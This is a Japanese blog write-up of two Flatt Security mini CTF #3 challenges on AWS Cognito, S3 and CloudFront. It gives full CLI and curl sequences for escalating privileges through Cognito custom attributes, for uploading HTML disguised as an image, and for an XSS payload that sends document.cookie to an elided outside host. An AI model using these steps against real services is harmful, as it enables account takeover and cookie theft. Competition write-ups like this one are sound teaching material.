st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

Flatt Security mini CTF #3 writeup

11/30*1に1時間という短さで開催された。Azaraさん作問でWebとクラウドから出題されるという事前のアナウンスがあり、実際これらをメインとした2問が出た。

1問は15分ほどで解けfirst bloodが取れた*2ものの、もう1問は解ききれず。それでも1位であったのは嬉しいが、どうもモヤモヤする。ということで帰宅後に延長戦を始めて解けたので、1時間の競技時間中に解けたものも解けなかったものもあわせてwriteupを書く。


競技時間中に解いた問題

[Web 100] Self (5 solves)

Welcome to Mini CTF #3!
あなたは管理者になれますか?

管理者になって GET /v1/flag を叩いてください!

添付ファイル: self.zip

与えられたURL(CloudFrontのもの)にアクセスすると、次のようなログインフォームが表示された。登録フォームは存在しない。

ソースコードがついてきている。ファイルの構成はこんな感じ*3

$ tree
.
├── README.md
├── assets
│   └── image.png
├── bin
│   └── cdk.ts
├── cdk.json
├── lib
│   ├── api
│   │   ├── functions
│   │   │   ├── authorizer.ts
│   │   │   └── flag.ts
│   │   └── index.ts
│   ├── idp
│   │   ├── functions
│   │   │   └── preSignUp.ts
│   │   └── index.ts
│   └── web
│       ├── deploy.ts
│       └── index.ts
├── package-lock.json
├── package.json
└── tsconfig.json

8 directories, 14 files

ありがたいことに README.md に開発者によるドキュメント*4があり、デプロイ方法であったり、AWS CLIを使ったユーザの作成方法であったり、また次のようにソースコードのどこを参照すればよいかということであったりも書かれている。

ルーティングはAPI GatewayのLambda Proxy Integrationを用いて行う。
主なRouteとしては `/v1` をPrefixとして、下記のものを用意する。

- `GET /v1/flag` - Flagを返す

Routeの集約は[lib/api/index.ts](./lib/api/index.ts)の`private route()`を用いる。
内部で実行されるコードは、[lib/api/functions/flag.ts](./lib/api/functions/flag.ts)で記述する。

早速 lib/api/functions/flag.ts を見ていく。なるほど、環境変数にフラグが格納されており、こいつはそれをそのまま返すらしい。

export const handler: APIGatewayProxyHandler = async (
  event: APIGatewayProxyEvent,
): Promise<APIGatewayProxyResult> => {
  return {
    statusCode: 200,
    headers: {
      "Content-Type": "application/json",
      "Access-Control-Allow-Origin":
        process.env.STAGE === "dev" ? "*" : `${process.env.ORIGIN as string}`,
    },
    body: JSON.stringify({
      flag: process.env.FLAG as string,
    }),
  };
};

ただし、lib/api/functions/authorizer.ts というオーソライザーのコードを見ると分かるように、Cognitoによって発行されたIDトークンについて、その custom:role というカスタム属性の値が admin である必要がある。

const verifier = CognitoJwtVerifier.create({
  userPoolId: process.env.COGNITO_USER_POOL_ID as string,
  tokenUse: "id",
  clientId: process.env.COGNITO_USER_POOL_CLIENT_ID as string,
});

const tokenAuthorizer = async (event: APIGatewayTokenAuthorizerEvent) => {
  const authorizationTokenHeader = event.authorizationToken;
  if (!authorizationTokenHeader) {
    return denyPolicy(event.methodArn, "");
  }

  const [type, token] = authorizationTokenHeader.split(" ");
  if (type !== "Bearer") {
    return denyPolicy(event.methodArn, "");
  }

  try {
    const payload = await verifier.verify(token);
    if (!payload) {
      return denyPolicy(event.methodArn, "");
    }
    if (payload["custom:role"] !== "admin") {
      return denyPolicy(event.methodArn, "not admin");
    }
    return allowPolicy(event.methodArn, {});
  } catch (error) {
    console.log(error);
    return denyPolicy(event.methodArn, "");
  }
};

README.md の中で、管理者は次のようにしてユーザが作成できるという案内がある。CLIENT_ID は先程のCloudFrontで配信されているフロントエンドにおいて、適当なユーザ名とパスワードでログインしようとした際の通信から取ってこれる。雑なパスワードだと怒られることに注意。

CLIENT_ID=<user-pool-client-id>
USERNAME=<username>
PASSWORD=<password>
aws cognito-idp sign-up \
  --region "ap-northeast-1" \
  --client-id $CLIENT_ID \
  --username  $USER_NAME \
  --password $PASSWORD \
  --no-sign-request

これでユーザの作成はできるものの、先程から言及しているフロントエンド側のログインフォームで、作成したユーザのcredsを使ってログインしようとすると、次のようにadminではないと怒られる。そりゃそうじゃ。

IDトークンに custom:role という名前、admin という値のカスタム属性を生やしたかったのだった。self sign-up時にあわせて設定できないかと考えて cognito-idpsign-up コマンドのドキュメントを眺めていると、--user-attributes というオプションが見つかった。

--user-attributes Name=custom:role,Value=admin というオプションを付けて再度実行する。発行されたIDトークンを見ると、たしかに custom:role というカスタム属性が生えている。

作成したユーザでログインすると、フラグが得られた。

flag{w3lc0m3_70_m1n1_c7f_3_53lf_516nup}

競技終了後に解いた問題

[Web 200] Miss Box (0 solves)

令和最新版の画像共有サービス「File Box Advance」を使ってみました!
とても便利!いっぱい使ってみてください!
あと、もし何か面白い画像があったら管理者に教えてくださいね!

使い方は添付ファイルを見てください!

添付ファイル: miss_box.zip

与えられたURLにアクセスすると、次のようにファイルの共有サービスが表示される。

今度は次のようなフォームからアカウントの作成ができるようになっている。

ログイン後は、次のようにファイルのアップロード、表示、削除ができるようになっている。適当にファイルをアップロードしてみるが、HTMLやテキストファイルは受け付けてくれず、PNGやJPEGといった画像のみを受け付けているらしいことがわかる。

ほか、問題文でも言及されているように、管理者にURLを報告して確認してもらうようお願いすることもできる。

管理者にURLを報告すると見てもらえるという設定から、XSS問だろうと推測する。とはいえ、何をすればフラグが得られるか確認しておきたい。まず添付ファイルの構成はこんな感じ。そこそこファイルが多いが、それは今回もCDKが使われているほか、ファイルのアップロード機能に関連していくつかAPIが存在しているため。

$ tree .
.
├── API.md
├── README.md
├── assets
│   └── image.png
└── infra
    ├── README.md
    ├── S3_Bucket.md
    ├── assets
    │   └── image.png
    ├── bin
    │   └── cdk.ts
    ├── cdk.json
    └── lib
        ├── api
        │   ├── functions
        │   │   ├── authorizer.ts
        │   │   ├── const.ts
        │   │   ├── list.ts
        │   │   ├── signUp.ts
        │   │   ├── signedUrlDelete.ts
        │   │   ├── signedUrlGet.ts
        │   │   └── signedUrlPut.ts
        │   └── index.ts
        ├── container
        │   ├── container
        │   │   └── report
        │   │       ├── Dockerfile
        │   │       ├── aws-lambda-rie
        │   │       ├── code
        │   │       │   ├── package-lock.json
        │   │       │   ├── package.json
        │   │       │   ├── src
        │   │       │   │   └── index.ts
        │   │       │   └── tsconfig.json
        │   │       ├── entry.sh
        │   │       └── makefile
        │   └── index.ts
        ├── idp
        │   └── index.ts
        └── web
            ├── deploy.ts
            └── index.ts

14 directories, 28 files

管理者によるクロールの処理は次の通り。infra/lib/container/container/report/code/src/index.ts のコードを見ていく。/v1/report というAPIが叩かれるとSQSにURLが流れ、それをイベントソースとしてLambdaが走り…という流れは問題を解くにあたって気にする必要はなく、重要な箇所だけを抜き出す。まずURLは特定の文字列から始まっていなければならず、これは今回CloudFrontのものとなっている。

Puppeteerを使って行われている処理だけれども、まず page.setCookieflag というキー、この問題のフラグを値としたCookieを設定している。設定先のドメイン名はCloudFrontのもの。httpOnly は設定されていないけれども、デフォルトで false である(はず)ので、もしXSSに持ち込むことができれば、document.cookie にアクセスすることでフラグが得られる。

先程紹介したファイルアップロード機能について、ダウンロード時に生成されるURLはS3の署名付きURLであるため、たとえHTMLをアップロードできたとしても、そのURLを報告するだけでは残念ながら invalid url ということになってしまう。弾かれなかったとしても、結局Cookieの設定されているドメイン名と異なっているのでダメだ。なんとかして https://d1vkt6984bn7xr.cloudfront.net/ 下で、アップロードしたHTMLへのアクセスができたりしないかと考える。そもそも、どうやってHTMLをアップロードするかという問題もある。

const validateUrl = (url: string) => {
  if (!url) {
    console.error("url is required");
    throw new Error("url is required");
  }
  if (!url.startsWith(process.env.ALLOWED_URL || "https://example.test/")) {
    console.error("invalid url");
    throw new Error("invalid url");
  }
};
// …
    console.log(record);
    const { body } = record;
    if (!body) {
      return {
        statusCode: 400,
        code: 5,
      };
    }
    const url = body;
    try {
      validateUrl(url);
    } catch (e) {
      console.error(e);
      return {
        statusCode: 400,
        code: 6,
      };
    }
    (async () => {
      const browser = await launch({
        headless: true,
        args: [
          "--disable-dev-shm-usage",
          "--no-sandbox",
          "--disable-setuid-sandbox",
          "--disable-gpu",
          "--no-gpu",
          "--disable-default-apps",
          "--disable-translate",
          "--user-agent=mini-ctf-reporter/1.0",
          "--single-process",
        ],
      });
      const page = await browser.newPage();
      page.setCookie({
        name: "flag",
        value: process.env.FLAG || "flag{dummy}",
        domain: process.env.DOMAIN || "example.test",
      });
      await page.goto(url);
      await page.waitForTimeout(500);
      // save to /tmp
      await browser.close();
    })();

まずはHTMLをアップロードする方法から考えていく。正常系の動作だけれども、ファイル名やサイズ、コンテンツタイプのパラメータ付きで /v1/box/signed-url/put というAPIを叩くと、S3の署名付きURLが返ってくるので、これにPUTすることでファイルのアップロードが完了するというのが一連の流れになっている。

ここで、/v1/box/signed-url/put の動作が記述されているLambdaのコードを読むと、次のように入力の検証がされており、画像っぽくなければ弾かれる(署名付きURLが発行されない)ことがわかる。

  // 拡張子のチェック (画像のみ許可)
  const ext = body.name.split(".").pop();
  if (!ext || !["jpg", "jpeg", "png", "gif"].includes(ext)) {
    return responsesTemprate[400](JSON.stringify({ message: "Bad Request" }));
  }
  // ファイルサイズのチェック (10MB まで)
  if (body.size > 10 * 1024 * 1024) {
    return responsesTemprate[400](JSON.stringify({ message: "Bad Request" }));
  }
  // contentType のチェック (画像のみ許可)
  if (
    !body.contentType ||
    !["image/jpeg", "image/png", "image/gif"].includes(body.contentType)
  ) {
    return responsesTemprate[400](JSON.stringify({ message: "Bad Request" }));
  }

が、添付されているAPIのドキュメントに含まれる以下のコマンド例なんかも見るとわかるが、S3の署名付きURLへのアップロード時にも Content-Type が指定されていることがわかる。これを変えるとどうなるか。

curl -X PUT \
  -H "Content-Type: image/jpeg" \
  --upload-file tmp/test.png \
  $UPLOAD_URL

最後の署名付きURLへのPUTの手順において、Content-Typetext/html に変えてみる。/v1/box/signed-url/get という、アップロード済みのファイルのGET用の署名済みURLを発行してくれるAPIがあるので叩き、返ってきたURLにアクセスする。すると、アップロードしたファイルはPNGであるにもかかわらず、次のように Content-Type: text/html というヘッダ付きでレスポンスが返ってきた。

ただし、当然ながらこのオリジンは https://missbox-web-web-host-bucket.s3.ap-northeast-1.amazonaws.com とS3のもので、これを報告したとしても invalid url ということで管理者はアクセスしてくれない。CloudFrontのオリジンで先程のHTMLを返させることはできないか。

CDKのコードを確認していくと、次のように index.htmlassets/index-937ec767.css といった静的ファイルはS3のバケット、それもユーザがアップロードしたファイルと同じものにアップロードされていることがわかる。また、CloudFrontの後ろにこのS3バケットが存在していることもわかる。

    new BucketDeployment(this, `${this.prefix}-deploy`, {
      sources: [Source.asset("/app/frontend/dist")],
      destinationBucket: this.bucket,
    });

ただし、ユーザがアップロードしたファイルは tenant:(ユーザごとに生成されたUUID)/f5e59f80-a031-45d1-88bf-f779b90281bb.png のようなオブジェクトキーになるのだけれども、次のようなポリシーによって、CloudFrontからはアクセスできないようになっている。これをなんとかしてバイパスできないか。

    this.allowGetObjectBucketPolicy = new PolicyStatement({
      effect: Effect.DENY,
      actions: ["s3:GetObject"],
      resources: [
        `arn:aws:s3:::${this.bucket.bucketName}/tenant:*/*`,
        `arn:aws:s3:::${this.bucket.bucketName}/tenant:*`,
      ],
      principals: [this.oai.grantPrincipal],
    });

ということで、このポリシーをなんとかしてバイパスできないかと考えているうちに競技が終わってしまった。

終了後の懇親会で作問者やほかの参加者と話していて、以下のようにIDトークンに含まれる custom:tenant というカスタム属性が、ファイルアップロード時のオブジェクトキーの生成に使われているということで、これを操作できると嬉しいのではないかということがわかった。

なお、ここで ext がユーザによって操作可能である(ファイル名を変えるだけ)からPath Traversalできるのではないかと少し考えてしまうものの、上述のように pngjpg といった文字列であるか、厳密なallow listによってチェックされ絞られているし、そもそもこれはオブジェクトキーだし、ファイルパスとしての正規化によって tenant:hoge/fuga/../../piyo.pngpiyo.png に変換されるといったことも行われていないので、できない。

  const tenant = event.requestContext.authorizer?.tenant;

  if (!tenant) {
    return responsesTemprate[400](JSON.stringify({ message: "Bad Request" }));
  }

// …

  const params: PutObjectCommandInput = {
    Bucket: process.env.BUCKET_NAME || "",
    Key: `${tenant}/${randomUUID()}.${ext}`,
    ContentLength: body.size,
  };
  const command = new PutObjectCommand(params);

  const url = await getSignedUrl(client, command, {
    expiresIn: 60 * 60,
  });

じゃあカスタム属性を触れないかという考えるわけだけれども、Cognitoについて、今度はself sign-upができる設定にはなっていない。ただ、別のタイミングでカスタム属性の変更ができるようになってはいないだろうかと考える。調べると update-user-attributes というコマンドが見つかった。initiate-auth --auth-flow USER_PASSWORD_AUTH で認証し、適当にアクセストークンを発行し、次のようなコマンドを実行してみる。

aws cognito-idp update-user-attributes \
  --access-token $ACCESS_TOKEN \
  --user-attributes Name=custom:tenant,Value=poyoyoyo\
  --region ap-northeast-1 \
  --no-sign-request | jq -r '.AuthenticationResult.IdToken'

もう一度IDトークンを発行して jwt.io なり jwt.ms なりで見てみると、次のように custom:tenanttenant:23b43a53-349c-49bb-8ffb-92e84e9aaa8f のような tenant: から始まる文字列でなく、今設定した poyoyoyo という文字列が入っていた。

このままファイルをアップロードすることで、アップロード先のオブジェクトキーは poyoyoyo/(UUID).png のようなものになり、これは tenant:*/*tenant:* はCloudFrontからのアクセスを許可しないというポリシーには引っかからないために、CloudFront側からもアクセスできるようになるはずだ。このファイルについて、Content-Type: text/html を返すようにしてやることで、CloudFrontのオリジンで任意のJSコードを実行させられるはずだ。

ということで、custom:tenantpoyoyoyo が入ったIDトークンを使いつつ、次のようなコマンドを実行して怪しい画像をアップロードする。

echo "<script>location.href="(省略)?" + document.cookie</script>" > aaa.png

SIZE=$(wc -c aaa.png | awk '{print $1}')
UPLOAD_URL=$(curl -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $ID_TOKEN" \
  -d "{\"name\": \"test.png\", \"contentType\": \"image/jpeg\", \"size\": ${SIZE}}" \
  $URL/box/signed-url/put | jq -r '.url' )

curl -X PUT \
  -H "Content-Type: text/html" \
  --upload-file aaa.png \
  $UPLOAD_URL

アップロード先の署名付きURLである UPLOAD_URL からオブジェクトキーだけを取り出し、CloudFrontのオリジンにそれをパスとして結合してアクセスすると、いい感じにアップロードしたコンテンツがHTMLとして返ってきている様子が確認できた。このURLを通報するとフラグが得られた。

flag{x55_du3_70_477r1bu73_53771n6_m1574k3}

*1:第4回でも同じ問題セットを使用するということで、ネタバレ防止のためにエンバーゴが設けられていたため、writeupの公開が開催からしばらく経ったこのタイミングとなった

*2:Cognitoはその概要や攻撃手法については大雑把に把握していたものの、実際に触るのはこれが初めてだったので嬉しい

*3:競技中はじっくりと構成やそれぞれのコードを読んだり、知らない概念を調べたりする余裕はなかったけれども、後から落ち着いて読んでみるとAWS CDKを使ったIaCってこんな感じなんだ、へーと思う。AWSあまりわからんマンとしてはすべてが勉強になる

*4:作問者から、開始前のヒントとしてこういったものも同梱されているのでちゃんと読もう! というアナウンスがあった。実際役立った。なお、私は流し見しており構成図は見逃した